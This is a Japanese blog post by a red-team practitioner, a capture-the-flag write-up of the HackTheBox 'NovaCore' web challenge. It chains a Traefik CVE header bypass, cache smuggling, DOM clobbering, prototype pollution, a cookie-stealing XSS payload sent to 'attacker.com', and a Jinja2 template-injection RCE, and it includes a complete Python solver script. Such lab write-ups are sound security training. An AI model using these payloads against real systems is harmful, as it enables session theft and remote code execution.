はじめに
プロフェッショナルサービス部の草柳です。
業務ではRedTeamサービスを担当しており、実際の攻撃手法を用いたセキュリティ体制の評価やTLPT(脅威ベースペネトレーションテスト)をサービスとして提供しています。またサービス高度化のためのリサーチ活動や技術研鑽も積極的に行っています。
先日開催された、Hack The Box Business CTFにOneNTTのメンバーとして参加しました。結果は、796チーム中11位。上位に食い込むことができました。

あと少しでTop10なのが悔しいところではありますが、海外のメンバーとも協力してよい結果を出せたのはうれしく思います。
私は、主にWeb問題とFullpwn問題に取り組み、4つのフラグを取得しました。
- Volnaya Forums (Web, Easy)
- Quick Blog (Web, Medium)
- NovaCore (Web, Hard)
- Volnaya (Fullpwn, Easy)
今回は、この中で特におもしろかったNovaCore (Web, Hard)の解説をします。
NovaCore (Hard)
AIによる株取引をうたったサイトですが、AIは問題には絡んできませんでした。フラグは、/flag{random}.txt
に保存されているので、RCEを目指します。

構成
- Traefik (ロードバランサー)
- AetherCache (インメモリデータベース)
- Flask (Web App)
分析
まずは静的解析をします。気になるところや脆弱性をピックアップして、攻略の方向性を定めていきます。
Traefik v2.10.4(CVE-2024-45410)
TraefikはOSSのロードバランサーで、アプリの負荷分散のために使用されているようです。
調べると、アプリで使用されているバージョンは、CVE-2024-45410が該当することがわかります。この脆弱性は、Hop-by-hopヘッダーの処理ミスに起因して、内部で使われる重要なヘッダーまでも削除してしまうというものです。
Hop-by-hopヘッダーとは、プロキシのある環境での使用を想定されたもので、内部サーバーには送られず、プロキシで処理されるHTTPヘッダーです。Connection
やTransfer-Encoding
などが挙げられます。
Connection
には、そこで指定されたヘッダーをHop-by-hopヘッダーとして扱うようにするという仕様があり、指定のヘッダーをプロキシで捨てさせることができます。Traefik v2.10.4では、本来破棄されるべきでない重要なヘッダー(X-Forwarded-Host
など)までも消されてしまうため、内部アプリでこれらのヘッダーを処理に使用している場合に、意図せぬ挙動となります。
Connection: close, X-Forwarded-Host
AetherCache
取引の情報は、AetherCacheという独自のアプリで保存されています。これは、Redisのようなインメモリデータベースで、C言語で作られています。 get
、set
、list
の3コマンドだけ実装されているシンプルなもので、プログラム自体に脆弱なポイントは見当たりません。
Socket通信で、1023バイトずつbufferに受け取って処理が行われます。
challenge/cache/aetherCache.c
#define BUFFER_SIZE 1024
void *handle_client(void *client_socket_ptr) {
int client_socket = *(int *)client_socket_ptr;
free(client_socket_ptr);
char buffer[BUFFER_SIZE];
ssize_t read_size;
while ((read_size = recv(client_socket, buffer, BUFFER_SIZE - 1, 0)) > 0) {
buffer[read_size] = '\0';
char command[BUFFER_SIZE];
char key[BUFFER_SIZE];
char value[BUFFER_SIZE];
if (sscanf(buffer, "set %s %s", key, value) == 2) {
set(key, value);
send(client_socket, "STORED\r\n", 8, 0);
} else if (sscanf(buffer, "get %s", key) == 1) {
char *result = get(key);
if (result) {
send(client_socket, result, strlen(result), 0);
send(client_socket, "\r\n", 2, 0);
} else {
send(client_socket, "NOT_FOUND\r\n", 11, 0);
}
} else if (strcmp(buffer, "list\n") == 0) {
print_all_keys(client_socket);
} else {
send(client_socket, "ERROR\r\n", 7, 0);
}
}
close(client_socket);
pretty_print("Client disconnected", 3);
return NULL;
}
Flask
認証なしでアクセスできる範囲は、ほとんどが静的ページで、攻撃の余地がありません。ログインができれば、ファイルのアップロードやプラグインの実行などができそうです。ただし、ユーザー登録などはできないので、なんとかしてセッションを奪う必要があります。
/
/get-an-account
/about-us
/privacy-policy
/for-developers
/login
/front_end_error/<action>/<log_level>
/logout (要認証)
/dashboard (要認証)
/live_signals (要認証)
/copy_trade (要認証)
/my_trades (要認証)
/datasets (要認証)
/upload_dataset (要認証)
/plugins (要認証)
/run_plugin (要認証)
/api/
/api/active_signals (APIトークン)
/api/copy_signal_trade (APIトークン)
/api/trades (APIトークン)
/api/edit_trade (APIトークン)
/front_end_error
には2種類のアクションがあって、 new
は log_level
をキーにして任意のJSONデータを保管、 view
は、そのデータの取得ができます。
challenge/src/application/blueprints/web.py
@web.route("/front_end_error/<action>/<log_level>", methods=["POST"])
def log_front_end_error(action, log_level):
error = request.json
if action == "new":
if not error or not log_level:
return jsonify({"message": "Missing user input"}), 401
FRONT_END_ERRORS[log_level] = error
return jsonify({"message": "Error logged"}), 200
elif action == "view":
if log_level not in FRONT_END_ERRORS:
return jsonify({"message": "No errors found for the specified log level"}), 404
return jsonify(FRONT_END_ERRORS[log_level]), 200
else:
return jsonify({"message": "Invalid action"}), 400
APIの実行にはAPIトークンが必要になります。ただし、ヘッダーにX-Real-IP
が設定されていない場合には、APIトークンのチェックをバイパスできます。これは、プロキシを通らない内部ネットワークでの使用を意図したものでしょう。
challenge/src/application/blueprints/api.py
def token_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
client_ip = request.headers.get("X-Real-IP")
if not client_ip:
return f(*args, **kwargs)
token = request.headers.get("Authorization")
if not token:
return jsonify({"error": "API token is missing"}), 401
db_session = Database()
valid, user = db_session.validate_token(token)
if not valid:
return jsonify({"error": "Invalid API token"}), 401
g.user = user
return f(*args, **kwargs)
return decorated_function
/api/edit_trade
では、任意のtrade
データをキャッシュに登録することができます。
@api.route("/edit_trade", methods=["POST"])
@token_required
def edit_trade():
if not request.json:
return jsonify({"error": "No JSON data provided"}), 400
data = request.json
trade_id = data.get("trade_id")
symbol = data.get("symbol")
action = data.get("action")
price = data.get("price")
if not trade_id:
return jsonify({"error": "Trade ID is required"}), 400
if not (symbol or action or price):
return jsonify({"error": "At least one of symbol, action, or price must be provided"}), 400
cache_session = AetherCacheClient()
user_id = g.user.id if g.get("user") else "sys_admin"
trade_key = f"user:{user_id}:trade:{trade_id}"
trade_data = cache_session.get(trade_key)
if not trade_data:
return jsonify({"error": "Trade not found"}), 404
parsed_trade_data = parse_signal_data(trade_data)
if symbol:
parsed_trade_data["symbol"] = symbol
if action:
parsed_trade_data["action"] = action
if price:
parsed_trade_data["price"] = price
updated_trade_data = format_signal_data(
parsed_trade_data["symbol"],
parsed_trade_data["action"],
parsed_trade_data["price"]
)
cache_session.set(trade_key, updated_trade_data)
return jsonify({"message": "Trade updated successfully", "trade_id": trade_id})
/my_trades
では、自分の取引情報が確認できます。
{{ trade.data.action | safe }}
はJinja2のテンプレート文字列です。 safe
フィルターがついているので、値はエスケープされません。場合によっては任意のHTMLを埋め込み、XSSによって認証セッションを奪える可能性があります。
challenge/src/application/templates/my_trades.html
<tbody>
{% for trade in trades %}
<tr>
<td>{{ loop.index }}</td>
<td>{{ trade.data.action | safe }}</td>
<td>{{ trade.data.price | safe }}</td>
<td>{{ trade.data.symbol | safe }}</td>
<td>{{ trade.key }}</td>
</tr>
{% endfor %}
</tbody>
/upload_dataset
では、データセットをアップロードできます。
アップロードできるファイル形式は、 tar
に限られています。ただし、チェックが緩いためバイパスができそうです。
challenge/src/application/blueprints/web.py
if not check_dataset_filename(file.filename) and not is_tar_file(file.filename):
return render_template(
"error.html",
title="Error",
type="Input1",
message="File not valid",
nav_enabled=False,
), 403
tmp_file_path = str(uuid.uuid4()) + ".tar"
upload_path = os.path.join("/tmp", tmp_file_path)
file.save(upload_path)
if not is_tar_content(upload_path):
os.unlink(upload_path)
return render_template(
"error.html",
title="Error",
type="Input2",
message="File not valid",
nav_enabled=False,
), 403
challenge/src/application/util/general.py
def check_dataset_filename(file_path):
if re.match(r"^[a-zA-Z0-9./]+$", file_path):
return True
else:
return False
def is_tar_file(file_path):
return file_path.lower().endswith(".tar")
def is_tar_content(file_path):
try:
result = subprocess.run(
["exiftool", file_path],
capture_output=True,
text=True,
check=True
)
for line in result.stdout.splitlines():
if "file type" in line.lower():
return "tar" in line.lower()
return False
except subprocess.CalledProcessError:
return False
except FileNotFoundError:
return False
また、アップロード先は、Path Traversalにより任意に指定できます。例えば、ファイル名を ../plugins/hack
とすることで、プラグインフォルダへの書き込みが可能です。
challenge/src/application/blueprints/web.py
new_upload_path = os.path.join("/app/application/datasets", file.filename)
os.rename(upload_path, new_upload_path)
/run_plugin
では、プラグインフォルダ内の実行ファイルを実行できます。
ただし、ここでは指定のファイルが実行ファイルであることをチェックしています。readelf
を使ってチェックしているので、elf
のフォーマットにならったファイルでなければいけません。
challenge/src/application/blueprints/web.py
plugin_path = plugin_dir + "/" + plugin
if not check_plugin_filename(plugin) or not is_exe_file(plugin_path):
return render_template(
"error.html",
title="Error",
type="Input",
message="Invalid plugin",
nav_enabled=False,
), 403
plugin_results = run_plugin(plugin_path)
challenge/src/application/util/general.py
def check_plugin_filename(file_path):
if re.match(r"^[a-zA-Z0-9.]+$", file_path):
return True
else:
return False
def is_exe_file(file_path):
try:
result = subprocess.run(
["readelf", "-h", file_path],
capture_output=True,
text=True,
check=True
)
for line in result.stdout.splitlines():
if "class" in line.lower():
return "elf" in line.lower()
return False
except subprocess.CalledProcessError:
return False
except FileNotFoundError:
return False
戦略
一通りコードを分析したところで、大まかな攻撃の流れを考えます。
1. Traefikの脆弱性を使ってAPIにアクセス
2. APIを使ってtrade
にXSSを仕込む
3. 管理者の画面でXSSを発火させ、Cookieを窃取
4. テンプレートファイルを書き換えて、Server-Side Template Injection
5. Server-Side Template Injectionを使ってRCE
攻略手順
1. API Token Check Bypass
Traefikの脆弱性を悪用して、APIトークンのチェックを迂回して、API機能にアクセスします。
X-Real-IP
ヘッダーが破棄されるようなリクエストを送ると、APIがちゃんと情報を返してくれました。
GET /api/active_signals HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: keep-alive, X-Real-IP
{"signals":[{"data":{"action":"buy","price":"150.236","symbol":"AAPL"},"key":"2ade5add-75d8-48dc-b022-aeb57ce5f6c2"},{"data":{"action":"sell","price":"2800.12","symbol":"GOOGL"},"key":"96294bb1-4dc5-4389-8bc5-54687a381bb9"},{"data":{"action":"sell","price":"3321.10","symbol":"AMZN"},"key":"8d3d42f3-089d-42b2-89d8-18da8d9f66cd"}]}
2. Cache Smuggling
アクセスできるようになったAPIの機能を利用して、 /my_trades
画面でのXSSを目指します。
/my_trades
では、 /api/trades
から trades
データを取得しています。
challenge/src/application/blueprints/web.py
@web.route("/my_trades", methods=["GET"])
@login_required
def my_trades():
trade_data = fetch_cache("trades", session["api_token"])
if "error" in trade_data:
trade_data = None
else:
trade_data = trade_data["trades"]
return render_template("my_trades.html", title="Live Signals", session_data=session, trades=trade_data)
challenge/src/application/util/general.py
def fetch_cache(endpoint, token):
endpoint = f"http://127.0.0.1:1337/api/{endpoint}"
headers = {
"Authorization": f"{token}",
"Content-Type": "application/json"
}
try:
response = requests.get(endpoint, headers=headers)
response.raise_for_status()
return response.json()
except requests.exceptions.RequestException as e:
return {"error": str(e)}
/api/trades
では、AetherCacheから、そのユーザーに紐づいたtrades
をキャッシュキーをもとに取得しています。
challenge/src/application/blueprints/api.py
@api.route("/trades", methods=["GET"])
@token_required
def trades():
cache_session = AetherCacheClient()
user_id = g.user.id if g.get("user") else "sys_admin"
trade_keys = cache_session.list_keys()
trades = []
for key in trade_keys:
if key.startswith(f"user:{user_id}:trade:"):
value = cache_session.get(key)
if value:
trades.append({
"key": key.split(":")[-1],
"data": parse_signal_data(value)
})
return jsonify({"trades": trades})
キャッシュのキーは以下のような形式です。管理者アカウントのIDは1
で、ログインしていない場合は、sys_admin
が設定されます。
user:{user_id}:trade:{trade_id}
よって、管理者にXSSのペイロードを送り込むには、user_id
を1
に設定したデータを登録する必要があります。そのためには、少しHackしなければなりません。
キャッシュを登録する際に実行されるコマンドは以下のようになります。
set user:sys_admin:trade:d0142c74-d699-49b6-91b5-d21e34941faa symbol|AAA|action|buy|price|100
AetherCacheでは、1023バイトごとに処理が行われるので、1023バイト + 別のコマンドをくっつけて送信すれば、一度のリクエストで2つのコマンドが実行できます。この方法で、/api/edit_trade
で、trade
がオーバーフローするような値を指定すれば、任意のキャッシュを登録させることができそうです。

さあこれを使って、管理者画面にXSSペイロードを送りつけましょう。
3. CSP Bypass
これで管理者の /my_trades
画面でXSSができると思いきや、もう少しハードルがありました。
このアプリでは、CSP(Content-Security Policy)が厳しめに設定されていて、自由にスクリプトを実行できないようになっています。HTMLは書き込むことができますが、script
タグやimg
のイベント発火によるXSSなどはできません。
XSSを達成するには、CSPをうまくかいくぐる必要があります。
@web.after_request
def apply_csp(response):
response.headers["Content-Security-Policy"] = f"default-src 'self'; script-src 'self' 'nonce-{g.nonce}' 'unsafe-eval'; style-src 'self'; img-src 'self'; font-src 'self'; connect-src 'self'; media-src 'self'; object-src 'self'"
return response
ここで、唯一XSSの足掛かりになりそうなのが、unsafe-eval
です。 eval
が使われているところにどうにか割り込みできれば、JavaScriptの実行につなげられます。その視点で探してみると、いくつかeval
が使用されているところを発見しました。しかし、通常の処理ではここにたどり着けません。
window.onload = () => {
const merge = (target, source) => {
for (let attr in source) {
if (
typeof target[attr] === "object" &&
typeof source[attr] === "object"
) {
merge(target[attr], source[attr]);
} else {
target[attr] = source[attr];
}
}
return target;
};
const startTime = new Date();
try {
if (document.getElementById("DEMO_VERSION") == 1) {
alert(
"Warning: this is a demo version, contact us for full version",
);
} else {
null;
}
} catch (error) {
if (window.UI_DEV_MODE) {
const logData = {
config: window.currentConfig || {},
userAgent: navigator.userAgent,
};
fetch(
`/front_end_error/new/${LOG_LEVEL?.attributes?.int?.nodeValue || "default"}`,
{
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(logData),
},
)
.then((r) => r.text())
.then((data) => {
data = JSON.parse(data);
data = merge(logData, data);
const configKeysLength = logData.config.length;
const evaluatedConfigSize = eval(
`${configKeysLength} > 5 ? 'Large Configuration' : 'Small Configuration'`,
);
const endTime = new Date();
const timeElapsed = eval(
`(${endTime.getTime()} - ${startTime.getTime()}) / 1000`,
);
const timeSeconds = eval(`${timeElapsed} / 60`);
const element = document.createElement("div");
element.innerHTML = [
"start: " + startTime,
"end: " + endTime,
"timeElapsed: " + timeElapsed,
"timeSeconds: " + timeSeconds,
"Evaluated Config Size: " + evaluatedConfigSize,
].toString();
document.body.appendChild(element);
});
} else {
alert(error);
}
}
setTimeout(() => {
document.getElementById("loadingSection").classList.add("hide");
}, 3000);
const menuToggle = document.getElementById("menu-toggle");
const wrapper = document.getElementById("wrapper");
if (document.body.contains(menuToggle) && document.body.contains(wrapper)) {
menuToggle.addEventListener("click", () => {
wrapper.classList.toggle("toggled");
});
}
}
そこで、HTML Injectionを活用して、DOM Clobberingで処理の制御を奪っていきます。
さっそくですが、eval
の実行箇所に到達するには、ここでcatchのほうに入っていかないといけません。このコードで例外を起こすには、getElementById
かalert
をぶち壊すしかなさそうです。
try {
if (document.getElementById("DEMO_VERSION") == 1) {
alert(
"Warning: this is a demo version, contact us for full version",
);
} else {
null;
}
} catch (error) {
DOM Clobbering Wikiを参照すると、次のようなHTMLでdocumentのgetElementByIdを置き換えられることがわかります。
<form/id="hack"><img/name="getElementById"></form>
※ /
は、空白をいれないためのテクニックです。空白が入ると、Cache Smugglingのペイロードが壊れてしまうため必要です。
続いてはこちらです。
if (window.UI_DEV_MODE) {
これは簡単で、UI_DEV_MODE
というIDの要素を作ればOKです。
<div/id="UI_DEV_MODE"></div>
さてここからが本題です。最終的に、logData.config.length
に好きな値を入れられれば、我々の勝利です。これは、CSPの条件もあって、DOM Clobberingだけでは達成できないので、もう一工夫必要です。
const logData = {
config: window.currentConfig || {},
userAgent: navigator.userAgent,
};
fetch(
`/front_end_error/new/${LOG_LEVEL?.attributes?.int?.nodeValue || "default"}`,
{
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(logData),
},
)
.then((r) => r.text())
.then((data) => {
data = JSON.parse(data);
data = merge(logData, data);
const configKeysLength = logData.config.length;
const evaluatedConfigSize = eval(
`${configKeysLength} > 5 ? 'Large Configuration' : 'Small Configuration'`,
);
data = merge(logData, data);
で、fetch
で受け取ったデータと logData
をマージしているところが気になります。 merge
関数を確認してみると、いかにもPrototype Pollutionしてほしそうな面構えの再帰マージになっています。これを使って、 length
プロパティを汚染してやりましょう。
const merge = (target, source) => {
for (let attr in source) {
if (
typeof target[attr] === "object" &&
typeof source[attr] === "object"
) {
merge(target[attr], source[attr]);
} else {
target[attr] = source[attr];
}
}
return target;
};
そのためには、data
をコントロールしたいところです。 /front_end_error/new/default
からは、 {"message": "Error logged"}
しか返ってこないので、マージしてもあまり意味がありません。
ここで、またDOM Clobberingを使って、Path Traversalを行います。
自分で/front_end_error/new/hack
に好きな値を登録しておいて、LOG_LEVEL?.attributes?.int?.nodeValue
をDOM Clobberingで書き換えれば、 /front_end_error/view/hack
から好きなデータを渡せそうです。
<div/id="LOG_LEVEL"int="../view/hack">
これで必要なパーツはそろいました。あとは組み合わせるだけです。
まずは、/front_end_error/view/hack
でXSSのペイロードを返せるように登録します。Cookieには HttpOnly
属性がついていないのでJavaScriptで普通に取り出すことができます。 fetchで外部サーバーに送るのは、CSPにより制限されているので、Top-Level Navigationで画面遷移させることにします。
exploit.py
xss_payload = f"location.href = 'https://attacker.com/?' + document.cookie;//"
data = {
"__proto__": {
"length": xss_payload
}
}
r = requests.post(f"{args.rhost}/front_end_error/new/hack", json=data)
最終的に埋め込むHTMLは次のようになります。
<form/id="hack">
<img/name="getElementById">
</form>
<div/id="UI_DEV_MODE"></div>
<div/id="LOG_LEVEL"int="../view/hack"></div>
そして、これを埋め込むために実行したいDBコマンドはこれです。
set user:1:trade:hack symbol|AAA|action|buy|price|<form/id="hack"><img/name="getElementById"></form><div/id="UI_DEV_MODE"></div><div/id="LOG_LEVEL"int="../view/hack"></div>
さらに、オーバーフローさせるため、trade
のprice
に次のような値を設定します。A
の数は、いい感じに調整する必要ありです。
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAset user:1:trade:hack symbol|AAA|action|buy|price|<form/id="hack"><img/name="getElementById"></form><div/id="UI_DEV_MODE"></div><div/id="LOG_LEVEL"int="../view/hack"></div>
これを送り込んでしばらくすると、管理者ボットが画面にアクセスしてきて、Cookieが手に入ります。
DOM ClobberingやPath Traversal、Prototype Pollutionを組み合わせることで、単なるHTML InjectionをXSSにつなげることができました。
Jinja2 Server-Side Template Injection
これで、管理画面にアクセスできるようになりました。ここからは、RCEを目指します。
分析でわかったとおり、 tar
ファイルをアップロードするエンドポイントから、elf
ファイルをプラグインフォルダにアップロードできれば、そのまま実行できそうです。ただし、そのためにはtar
ファイルともelf
ファイルともとれるPolyglotを作らなければいけません。バイナリをいい感じにパッチして、チェックを迂回する必要があります。
想定解では、 まさにこれをやってのけています。tar
とelf
のファイル構造を理解して、バイナリレベルでパッチしなければできない高度なものです。
これはなかなか難しいと考えて、別の方法を探していたところ、tarファイルのチェックを迂回して、任意のテキスト系ファイルを書き込めることに気づきました。
ファイルがアップロードできる条件を整理すると、以下の通りです。
- ファイル名が
^[a-zA-Z0-9./]+$
にマッチするか、または.tar
で終わる exiftool
で、file type
と同じ行にtar
という文字が含まれる
いろいろ試してみると、exiftool
は、ファイルの先頭に #!/bin/tar
と入っているときに、 File Type: tar script
と判定することがわかりました。これで、少なくともtarファイルのチェックはバイパスして、任意のテキスト系ファイルは書き込めそうです。
このアプリでは、テンプレートエンジンにJinja2を使用しているので、テンプレートファイルを書き換えてしまえば、Server-Side Template Injectionができます。例えば、次のようなテンプレートファイルを書き込むと、#!/bin/tar 16
と画面に表示されます。
#!/bin/tar
{{ 4*4 }}
OSコマンドを実行して、フラグを読み出すには、../templates/index.html
を次のように書き換えます。
#!/bin/tar
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag*').read() }}
その後、 /
にアクセスするとフラグが表示されます。

Solver
import requests
import argparse
from requests.cookies import RequestsCookieJar
from urllib.parse import urlparse
import io
LHOST = "https://YOUR-SERVER"
def api_request(method, url, data={}):
'''
traefik CVE-2024-45410, API Token check bypass
'''
headers = {
"Content-Type": "application/json",
"Connection": "keep-alive, X-Real-IP"
}
if method == "GET":
r = requests.get(url, params=data, headers=headers)
elif method == "POST":
r = requests.post(url, json=data, headers=headers)
return r
def main():
parser = argparse.ArgumentParser("exploit")
parser.add_argument("rhost")
args = parser.parse_args()
print("[i] Copying a trade")
r = api_request("GET", f"{args.rhost}/api/active_signals")
target_signal = r.json()["signals"][0]
data = {
"signal_id": target_signal["key"]
}
r = api_request("POST", f"{args.rhost}/api/copy_signal_trade", data=data)
trade_id = r.json()["trade_id"]
print(f"[+] Trade copied: {trade_id}")
print(f"[i] Setting up Prototype Pollution payload")
# Client-Side Path Traversal will be performed later to get /front_end_error/view/hack
# Here is the preparation for Prototype Pollution
xss_payload = f"location.href = '{LHOST}/?' + document.cookie;//"
data = {
"__proto__": {
"length": xss_payload
}
}
r = requests.post(f"{args.rhost}/front_end_error/new/hack", json=data)
print("[i] Editing the trade to implant XSS payload")
# to inject trade for admin user, we need to perform Cache Smuggling
# the cache query is executed for each 1023 byte
sample_query = "set user:sys_admin:trade:d0142c74-d699-49b6-91b5-d21e34941faa symbol|AAA|action|buy|price|"
# <form/id=\"hack\"><img/name=\"getElementById\"></form> overwrite document.getElementById to throw an error
# <div/id=\"UI_DEV_MODE\"></div> define UI_DEV_MODE
# <div/id=\"LOG_LEVEL\"int=\"../view/hack\"> // set LOG_LEVEL properly to perform Client-Side Path Traversal. /front_end_error/view/hack will return Prototype Pollution payload
payload = "<form/id=\"hack\"><img/name=\"getElementById\"></form><div/id=\"UI_DEV_MODE\"></div><div/id=\"LOG_LEVEL\"int=\"../view/hack\"></div>"
buf_len = 1022 - len(sample_query)
price = "A" * buf_len + f"set user:1:trade:hack symbol|AAA|action|buy|price|{payload}"
data = {
"trade_id": trade_id,
"price": price
}
r = api_request("POST", f"{args.rhost}/api/edit_trade", data=data)
print(r.json())
print("[+] Wait for admin...")
admin_session = input("admin session> ")
# update session cookie
s = requests.Session()
jar = RequestsCookieJar()
parsed_url = urlparse(args.rhost)
domain = parsed_url.hostname
jar.set('session', admin_session, domain=domain, path='/')
s.cookies.update(jar)
print("[i] Uploading SSTI payload")
# the payload have to meet following conditions
# - name should pass regex check ^[a-zA-Z0-9./]+$, or end with '.tar'
# - exiftool should return "file type" and "tar" in one line
# #!/bin/tar will let exiftool misinterpret the file type as "tar script"
payload = b"#!/bin/tar\n{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag*').read() }}\n"
file_data = io.BytesIO(payload)
# perform path traversal to overwrite template file
files = {'dataset_file': ("../templates/index.html", file_data)}
r = s.post(f"{args.rhost}/upload_dataset", files=files)
print("[+] Template file uploaded")
r = s.get(f"{args.rhost}/")
print(r.text)
if __name__ == "__main__":
main()
おわりに
NovaCoreは、XSSまでの道のりで複数の脆弱性をうまく組み合わせる必要があり、かなり苦戦しました。またRCEも、抜け道を使ってなんとか達成できましたが、想定解のとおり、tar
とelf
のPolyglotを作っての攻略は自分ひとりでは難しかったでしょう。バイナリの理解は自分の課題です。幸い、バイナリが得意な人が周りにたくさんいるので、勉強させてもらおうと思います。
Hack The Box Business CTFでは、定番のWebやPwnなどに限らず、ForensicやAIなどの変わり種も含めた広い分野の問題が用意されています。難易度も易しいものからチャレンジングなものまであり、様々な分野で活躍するチームメンバーの協力なしには難しい大会でした。海外のメンバーともあれやこれやと議論しながら問題に取り組み、正解にたどり着いたときの喜びはひとしおでした。
個人的には、業務に役立てられるような発見もあり、とても有意義な大会だったと感じます。反省点も踏まえて、より高度なRedTeamサービスを提供できるようさらに技術を磨いていきたいと思います。
来年こそはTop10へ!